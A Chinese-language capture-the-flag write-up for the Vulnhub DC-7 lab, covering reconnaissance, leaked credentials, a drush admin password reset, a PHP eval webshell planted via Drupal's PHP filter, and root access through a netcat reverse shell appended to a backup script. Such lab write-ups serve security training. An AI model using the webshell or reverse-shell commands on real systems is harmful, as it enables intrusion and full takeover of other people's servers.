当前位置: 首页 > news >正文

Vulnhub靶场DC-7练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
    • 1. 获取用户名/密码
    • 2. ssh连接目标主机
    • 3. drush命令修改Drupal密码
  • 0x03 漏洞查找与利用
    • 1. Drupal写入php木马
    • 2. 连接shell
    • 3. 反弹shell并提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-7.zip

介绍:

If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.

What you will need to do, is to think “outside” of the box.

Waaaaaay “outside” of the box. 😃

重要信息:

如果你需要求助于暴力破解或字典攻击,你可能不会成功。

你需要做的是“跳出框框”思考。

Waaaaaay “外面”的盒子。😃



0x01 主机信息收集


kali中执行命令:ifconfig

kali本机的ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover - i eth0 192.168.22.0/24

目标主机的ip:192.168.22.6

在这里插入图片描述


探测目标主机的开放端口,执行命令:nmap -sS -sV -A -n 192.168.22.6

开放了22端口,80端口,并且使用的CMS为 Drupal8。

在这里插入图片描述


0x02 站点信息收集


1. 获取用户名/密码


浏览器访问:http://192.168.22.6/

页面上的提示语跟前面的介绍一样,用暴力破解或者字典攻击就不会成功,需要做的是跳出框框思考,跳出盒子。“盒子”可以想到白盒黑盒。跳出盒子也就是白盒。可以考虑找源代码了。

左下角有一个用户名,DC7USER。

在这里插入图片描述


Google一下这个用户名,可以发现一个github账户。主页发现一个staffdb项目,看到是php语言的,有个config.php的配置文件。

在这里插入图片描述


查看一下文件内容,有用户名和密码。还有数据库的名字。

$username = "dc7user";
$password = "MdR3xOgB7#dW";

在这里插入图片描述


考虑用这个用户名和密码登录。

扫描一下站点的目录结构,看有没有可以登录的点:dirsearch -u 192.168.22.6

在这里插入图片描述


访问:http://192.168.22.6/user/login.php

用上面获得的用户名和密码进行登录,失败。

在这里插入图片描述


2. ssh连接目标主机


之前扫描端口的时候还发现开房了22端口。考虑ssh链接。执行命令:ssh dc7user@192.168.22.6

登录成功。

在这里插入图片描述


看一下都有什么文件。一个backups目录和一个mbox文件。

backups目录下是两个gpg文件,gpg命令是用来加密文件的,并且加密后的文件都是乱码。

看一下mbox文件的内容:cat mbox

在这里插入图片描述


发现一个可执行脚本文件的路径:/opt/scripts/backups.sh

以及数据库数据的保存路径:/home/dc7user/backups/website.sql

查看一下这个脚本文件的内容,执行命令:cat /opt/scripts/backups.sh

在这里插入图片描述


3. drush命令修改Drupal密码


看起来是对数据相关的文件进行打包备份删除之类的操作。有个drush命令。

drush sql-dump的功能是数据库导入。

快速了解一下drush命令,发现这个命令可以用来更改Drupal的密码,相关命令是:drush user-password someuser --password="password"

需要注意,执行这个命令的时候,需要切换到Drupal的目录下。从上面的 backups.sh 这个文件的内容可以看出来,在执行drush命令之前先进入了 /var/www/html目录。

所以接下来先进入 /var/www/html目录,再执行命令:drush user-password admin --password="123456"

在这里插入图片描述


更改密码成功。

再访问:http://192.168.22.6/user/login ,用admin和123456尝试登录。登录成功。

在这里插入图片描述


0x03 漏洞查找与利用


1. Drupal写入php木马


接下来的思路就是找可以反弹shell的地方。

在 Content - Add Content - Basic page 下发现可以添加代码,但是只支持html,不支持php。

在这里插入图片描述


查询官方文档:https://www.drupal.org/project/php

Drupal8以后,php需要单独下载导入。

下载的地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载好以后,依次点击:Manage - Extend扩展 - Install new module启用新增模块,导入刚下载的php模块。

(也可以不下载,再倒入模块的时候直接输入上面的下载URL)

在这里插入图片描述


倒入成功后,点击Enable newly added modules。

在这里插入图片描述


在Manage - Extend模块下,选中 PHP Filter,点击Install。就启用成功了。

在这里插入图片描述



可以看到启用成功的提示。

在这里插入图片描述


在 Manage - Content 下的 welcome to dc-7 这个文件,应该是 http://192.168.22.6 这个页面的文件。

在这里插入图片描述


考虑编辑这个文件,把一句话木马写入这个文件。Edit这个文件,输入一句话木马,并且最后文件格式要保存成php。最后点击save按钮。

<?php
@eval($_POST[shell]);
?>

在这里插入图片描述


2. 连接shell


回到网站的首页就可以解析有恶意代码的文件。

用蚁剑连接一下,注意上下编码都选base64。

在这里插入图片描述


3. 反弹shell并提权


连接成功以后考虑提权。

执行命令:sudo -l,提示没有sudo权限。

想起来前面的/opt/scripts/backups.sh脚本文件,看一下这个文件的权限。

在这里插入图片描述


这个脚本文件的所属主是root,所属组是www-data,当前用户是www-data。

所以可以把提权的命令写入到这个脚本文件中,然后直接执行这个脚本文件。

先在kali中监听9876端口,执行命令:nc -lvvp 9876

在蚁剑中直接编辑/opt/scripts/backups.sh这个文件,在最后一行写入:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.22.48 9876 >/tmp/f

点击右上角的save。

在这里插入图片描述


在蚁剑中可以查看一下文件内容,确认写入成功:cat backups.sh

再执行这个脚本:./backups.sh

在这里插入图片描述


在kali中看到监听端口成功。

查看当前用户:id ,是root用户。

提权成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. 根据提示找到配置文件,获取用户名密码。
  2. ssh连接目标主机。
  3. drush修改Drupal密码。

漏洞利用:

  1. Drupal写入php木马。
  2. 蚁剑连接shell。
  3. 反弹shell。
  4. 提权。



相关文章:

Vulnhub靶场DC-7练习

目录 0x00 准备0x01 主机信息收集0x02 站点信息收集1. 获取用户名/密码2. ssh连接目标主机3. drush命令修改Drupal密码 0x03 漏洞查找与利用1. Drupal写入php木马2. 连接shell3. 反弹shell并提权 0x04 总结 0x00 准备 下载链接&#xff1a;https://download.vulnhub.com/dc/DC-…...

吴恩达深度学习笔记1 Neural Networks and Deep Learning

参考视频&#xff1a;(超爽中英!) 2024公认最好的【吴恩达深度学习】教程&#xff01;附课件代码 Professionalization of Deep Learning_哔哩哔哩_bilibili Neural Networks and Deep Learning 1. 深度学习引言(Introduction to Deep Learning) 2. 神 经 网 络 的 编 程 基 础…...

(十)Spring教程——Spring配置概述

目录 前言 1.Spring容器高层视图 2.基于XML的配置 前言 在使用Spring所提供的各项丰富而神奇的功能之前&#xff0c;必须在Spring IoC容器中装配好Bean&#xff0c;并建立好Bean和Bean之间的关联关系。Spring的配置文件已经很精简了&#xff0c;但是广大的开发者希望它做得更…...

飞书群聊机器人自定义机器人接入,并实现艾特@群成员功能

飞书群聊机器人还是比钉钉的要麻烦一点&#xff0c;钉钉的直接通过手机号就可以艾特群里面的人&#xff0c;但是飞书的要想艾特群里面的人&#xff0c;需要使用用户的 Open ID 或 User ID。这两个ID怎么获取呢&#xff1f;还需要在飞书的开放平台上创建一个应用&#xff0c;然后…...

CrowdStrike更新致850万Windows设备宕机,微软紧急救火!

7月18日&#xff0c;网络安全公司CrowdStrike发布了一次软件更新&#xff0c;导致全球大范围Windows系统宕机。 预估CrowdStrike的更新影响了将近850万台Windows设备&#xff0c;多行业服务因此停滞&#xff0c;全球打工人原地放假&#xff0c;坐等吃瓜&#xff0c;网络上爆梗…...

银行黄金交易流程

银行黄金交易流程 银行黄金交易流程通常包括以下几个步骤&#xff1a; 咨询和开户&#xff1a; 首先&#xff0c;客户需要到银行的贵金属交易柜台或在线平台咨询黄金交易的相关规定和手续&#xff0c;然后进行开户&#xff0c;在银行开立有关黄金交易的账户。这可能需要提供个…...

MATLAB实验五:MATLAB数据分析

1. 某线路上不同时间对应的电压如下表所示&#xff1a; 1&#xff09;用 3 次多项式拟合(polyfit)该实验曲线&#xff0c;要求绘制 2 原始采样 点&#xff0c;并在 1~8 范围内&#xff0c;使用时间间隔为 0.2 的数据绘制拟合曲线。 建立一个脚本文件&#xff1a;text5_1.m 如下…...

Cannot perform upm operation: connect ETIMEDOUT 34.36.199.114:443 [NotFound]

版本&#xff1a;Unity 2018 Windows 问题&#xff1a;打开 Package Manager&#xff0c;加载报错 尝试解决&#xff1a; 删除项目文件里的Packages下的mainfest.json文件&#xff0c;然后重新打开项目&#xff08;X&#xff09;重新登录 Unity 账号&#xff08;X&#xff09…...

Docusaurus VS VuePress:哪一个更适合你的技术文档?

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…...

昇思25天学习打卡营第25天|MindNLP ChatGLM-6B StreamChat

配置环节 %%capture captured_output !pip uninstall mindspore -y !pip install -i https://pypi.mirrors.ustc.edu.cn/simple mindspore2.2.14 !pip install mindnlp !pip install mdtex2html配置国内镜像 !export HF_ENDPOINThttps://hf-mirror.com下载与加载模型 from m…...

海康威视综合安防管理平台 detection 前台RCE漏洞复现

0x01 产品简介 海康威视综合安防管理平台是一套“集成化”、“智能化”的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备。海康威视集成化综合管理软件平台,可以对接入的视频监控点集中管理,实现统一部署、统一配置、统一管理和统一调度。 0x02 漏洞概述 海康…...

【BUG】已解决:ModuleNotFoundError: No module named ‘PIL‘

已解决&#xff1a;ModuleNotFoundError: No module named ‘PIL‘ 目录 已解决&#xff1a;ModuleNotFoundError: No module named ‘PIL‘ 【常见模块错误】 错误原因&#xff1a; 解决办法&#xff1a; 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我…...

css font 优化

文章目录 使用 font-display 控制字体加载预加载关键字体选择合适的字体文件类型按需创建字体文件HTTP 缓存优化 使用 font-display 控制字体加载 避免字体加载导致的空白 block&#xff1a;浏览器在短暂的阻塞期内不显示任何文本&#xff0c;直到字体加载完成。这可能导致页…...

Go之Web急速入门Gin+Gorm框架

简介 只作为快速入门、了解Go的GinGorm框架的demo&#xff0c;不能作为企业级开发。 详细用法请看官网 《Gin官网》 《Gorm官网》 使用GoLand创建Go项目&#xff08;默认modules&#xff09; go版本1.22.2 需要设置代理下载go相关软件包&#xff0c;否则软件包可能无法下载。…...

【MySQL进阶之路 | 高级篇】ER模型

1. 概述 数据库设计是牵一发而动全身的。那么有没有什么办法可以提前看到数据库的全貌呢&#xff1f;比如需要哪些数据表&#xff0c;数据表中应该有哪些字段&#xff0c;通过什么字段进行连接等等。这样我们才能进行整体的梳理和设计。 其实&#xff0c;ER模型就是一个这样的…...

C++基础语法:STL之容器(4)--序列容器中的list(一)

前言 "打牢基础,万事不愁" .C的基础语法的学习 引入 序列容器的学习.以<C Prime Plus> 6th Edition(以下称"本书")内容理解 本书中容器内容不多只有几页.最好是有数据结构方面的知识积累,如果没有在学的同时补上. 序列容器回顾:序列容器内元素按严格…...

WordPress杂技

WordPress杂技 WordPress页面构建器: Avada、Elementor、astra、 Elementor作为一款强大的页面构建工具。 Avada&#xff1a;是一款非常受欢迎的WordPress主题&#xff0c;它的设计理念是简洁、现代、响应式&#xff0c;Avada拥有丰富的模板和布局&#xff0c;可以轻松创建出…...

鸿蒙 动态共享包HSP的创建和引用

1.什么是动态共享包HSP HSP&#xff08;Harmony Shared Package&#xff09;是动态共享包&#xff0c;可以包含代码、C库、资源和配置文件&#xff0c;通过HSP可以实现代码和资源的共享。HSP不支持独立发布&#xff0c;而是跟随其宿主应用的APP包一起发布&#xff0c;与宿主应…...

ARM架构(二)—— arm v7-a/v8/v9寄存器介绍

1、ARM v7-A寄存器 1.1 通用寄存器 V7 V8开始 FIQ个IRQ优先级一样&#xff0c; 通用寄存器&#xff1a;31个 1.2 程序状态寄存器 CPSR是程序状态毒存器&#xff0c;保存条件标志位&#xff0c;中断禁止位&#xff0c;当前处理器模式等控制和状态位。每种异常模式下还存在SPS…...

C++合作开发项目:美术馆1.0

快乐星空MakerZINCFFO 合作入口&#xff1a;CM工作室 效果图&#xff1a; 代码&#xff1a; &#xff08;还有几个音乐&#xff01;&#xff09; main.cpp #include <bits/stdc.h> #include <windows.h> #include <conio.h> #include <time.h> #in…...

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

大话软工笔记—需求分析概述

需求分析&#xff0c;就是要对需求调研收集到的资料信息逐个地进行拆分、研究&#xff0c;从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要&#xff0c;后续设计的依据主要来自于需求分析的成果&#xff0c;包括: 项目的目的…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

【C++特殊工具与技术】优化内存分配(一):C++中的内存分配

目录 一、C 内存的基本概念​ 1.1 内存的物理与逻辑结构​ 1.2 C 程序的内存区域划分​ 二、栈内存分配​ 2.1 栈内存的特点​ 2.2 栈内存分配示例​ 三、堆内存分配​ 3.1 new和delete操作符​ 4.2 内存泄漏与悬空指针问题​ 4.3 new和delete的重载​ 四、智能指针…...

C++ 设计模式 《小明的奶茶加料风波》

&#x1f468;‍&#x1f393; 模式名称&#xff1a;装饰器模式&#xff08;Decorator Pattern&#xff09; &#x1f466; 小明最近上线了校园奶茶配送功能&#xff0c;业务火爆&#xff0c;大家都在加料&#xff1a; 有的同学要加波霸 &#x1f7e4;&#xff0c;有的要加椰果…...

C# 表达式和运算符(求值顺序)

求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如&#xff0c;已知表达式3*52&#xff0c;依照子表达式的求值顺序&#xff0c;有两种可能的结果&#xff0c;如图9-3所示。 如果乘法先执行&#xff0c;结果是17。如果5…...

数据结构:递归的种类(Types of Recursion)

目录 尾递归&#xff08;Tail Recursion&#xff09; 什么是 Loop&#xff08;循环&#xff09;&#xff1f; 复杂度分析 头递归&#xff08;Head Recursion&#xff09; 树形递归&#xff08;Tree Recursion&#xff09; 线性递归&#xff08;Linear Recursion&#xff09;…...

客户案例 | 短视频点播企业海外视频加速与成本优化:MediaPackage+Cloudfront 技术重构实践

01技术背景与业务挑战 某短视频点播企业深耕国内用户市场&#xff0c;但其后台应用系统部署于东南亚印尼 IDC 机房。 随着业务规模扩大&#xff0c;传统架构已较难满足当前企业发展的需求&#xff0c;企业面临着三重挑战&#xff1a; ① 业务&#xff1a;国内用户访问海外服…...

STM32标准库-ADC数模转换器

文章目录 一、ADC1.1简介1. 2逐次逼近型ADC1.3ADC框图1.4ADC基本结构1.4.1 信号 “上车点”&#xff1a;输入模块&#xff08;GPIO、温度、V_REFINT&#xff09;1.4.2 信号 “调度站”&#xff1a;多路开关1.4.3 信号 “加工厂”&#xff1a;ADC 转换器&#xff08;规则组 注入…...

HTTPS证书一年多少钱?

HTTPS证书作为保障网站数据传输安全的重要工具&#xff0c;成为众多网站运营者的必备选择。然而&#xff0c;面对市场上种类繁多的HTTPS证书&#xff0c;其一年费用究竟是多少&#xff0c;又受哪些因素影响呢&#xff1f; 首先&#xff0c;HTTPS证书通常在PinTrust这样的专业平…...